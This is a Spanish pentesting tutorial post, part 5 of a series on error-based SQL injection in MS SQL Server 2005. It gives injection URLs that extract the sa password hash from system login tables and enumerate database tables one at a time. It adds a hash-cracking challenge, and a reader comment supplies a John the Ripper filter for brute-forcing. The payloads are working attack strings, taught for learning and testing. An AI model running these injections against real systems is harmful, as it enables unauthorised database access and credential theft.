Inyección de código SQL en MS SQL Server 2005 (Parte 5 de 6)

2

Visto 1581 veces | Publicado el 21/01/2010 | sql pentest hacking vulnerabilidades


Penúltima entrega de estos seis artículos en los que se explica todo lo relacionado con la vulnerabilidad de Inyección de código SQL en MS SQL Server 2005. Ya hemos visto cómo obtener diversa información del servidor, bases de datos, usuarios, etc. Ahora nos vamos a centrar en conseguir los diferentes "hashes" con las contraseñas de los usuarios existentes en la base de datos así como también, ver qué tablas existen.

Este método es el que vamos a seguir para obtener tanto los nombres de las tablas de las diferentes bases de datos como los campos de las tablas y la información. Para lo que recomiendo su automatización ya que a mano resulta un trabajo bastante tedioso.

Ahora vamos a obtener los hashes de las contraseñas de algunos usuarios. Para ello vamos a utilizar una consulta algo más compleja que hasta ahora (agradecimientos a Tai por su ayuda con esta compleja consulta).

http://server/insertar.asp?texto=admin'+and+(SELECT SUBSTRING(master.dbo.fn_varbintohexstr(password_hash),1,256) from master.sys.sql_logins where+name='sa')<0—

En esta consulta tenemos que hacer conversiones por el formato en el que MS SQLSERVER almacena los hashes, así como comentar que la tabla en la que se almacenan los hashes es sql_logins. Lo único que tenemos que cambiar para obtener los hashes de las contraseñas de los diferentes usuarios es el nombre de usuario en la parte name=’sa’.

Por lo que ya hemos obtenido el hash del usuario sa:

0x01004086ceb6c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068.

Como minireto os propongo que os animéis e intentéis romper este hash y nos escribáis contando el método que habéis seguido. Como pista os doy los cuatro primeros caracteres de la contraseña (1SBN) y la siguiente fragmentación del hash:

Valor fijo -> 0x0100

Salt -> 4086ceb6

c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068 (SHA1 de la contraseña en mixcase)

(Tai, gracias por la corrección)

Si nos encontramos en un MS SQLSERVER 2000 la consulta para obtener el hash de las contraseñas sería el siguiente:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 master.sys.fn_varbintohexstr(password_hash) FROM master..syslogins where name='sa'))--

La siguiente información que vamos a obtener es las tablas de una base de datos. Vamos a centrarnos en BASE_EJEMPLO aunque sería igual para cualquier base de datos.

Lo único que podemos resaltar en las siguientes consultas es que la tabla que vamos a consultar para cada base de datos es sysobjects. Por lo que las consultas quedarían de la siguiente forma:

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects order by name))--

Tabla: EventNotificationErrorsQueue

Para consultar el resto de tablas hacemos la misma operación que hemos ido hacienda para la btención de los diferentes nombres de usuario.

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'EventNotificationErrorsQueue'+order+by+name))--

Tabla: QueryNotificationErrorsQueue

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'QueryNotificationErrorsQueue'+order+by+name))--

Tabla: queue_messages_1977058079

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'queue_messages_1977058079'+order+by+name))--

Tabla: queue_messages_2009058193

...

Por otra parte, si hay muchas tablas genéricas que no nos interesa obtenerlas, para saltarnoslas podemos incluir un carácter superior en la tabla ascii a todos los que siguen el patrón que se repite, por ejemplo para saltarnos todas las queue_messages podemos poner queue_messagez y problema resuelto. Esto vamos a aplicarlo en la siguiente consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'queue_messagez'+order+by+name))--

Tabla: ServiceBrokerQueue

...

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'syz'+order+by+name))--

Tabla: tabla_usuarios

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'tabla_usuarios'+order+by+name))--

Tabla: tablacreadaentest

Consulta:

http://server/insertar.asp?texto=admin'+and+1=convert(int,(SELECT top 1 name FROM BASE_EJEMPLO..sysobjects where+name>'tablacreadaentest'+order+by+name))--

Tabla: test_tabla

Así sucesivamente hasta obtener el error que nos indica que no hay más tablas en la base de datos.

 

Y hasta aquí el quinto capítulo de esta serie de artículos. En la última parte que está pendiente, se verá cómo conseguir los distintos campos de una tabla en concreto.


enero 30 4:37 p.m.
Tai dijo:

La fragmentación del hash indicada no es correcta. En MS SQL 2000 se almacena el hash de la contraseña en mixcase concatenado con el hash de la contraseña en uppercase. En MS SQL 2005 han eliminado la parte uppercase y han dejado sólo el hash en mixcase. Además, no hay que olvidarse del salt. El hash 0x01004086ceb6c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068 de MS SQL 2005 quedaría así: 0x0100 (constante, se descarta) 4086ceb6 (salt) c046ca420b9dc3bb4f5e33b4be4caeeaaf64f068 (SHA1 de la contraseña en mixcase). He probado a realizar un ataque de fuerza bruta en GPU para obtener la contraseña en 7 caracteres con [A-Z, a-z, 0-9] y en 8 caracteres [A-Z, 0-9] sin éxito en ambos casos. El software de GPU, por desgracia, no soporta aplicar máscara a los 4 primeros caracteres. También he probado el JTR creando un filtro para que las contraseñas a probar empiecen por '1SBN' pero el algoritmo es muy lento en CPU. Adjunto el filtro del JTR por si interesa: [List.External:custom2] void filter() { int i, length; length=0; while (word[length]) length++; i=length+3; while (i>3) { word[i]=word[i-4]; i--; } word[0]='1'; word[1]='S'; word[2]='B'; word[3]='N'; word[length+4]=0; return; } Un saludo.

febrero 04 12:07 a.m.
freed0m dijo:

Gracias por el comentario, efectivamente había un error, ya esta corregido. El reto de romper el Hash sigue en pie :-D


Añadir comentario










captcha


Búsqueda

Síguenos


El staff de Hacktimes ruega a cualquier persona interesada en la distribución y/o publicación de estos artículos que lo haga sin alterar su contenido y cite a su autor y/o la fuente original. Muchas gracias.

Todos los artículos publicados se encuentran bajo la licencia Creative Commons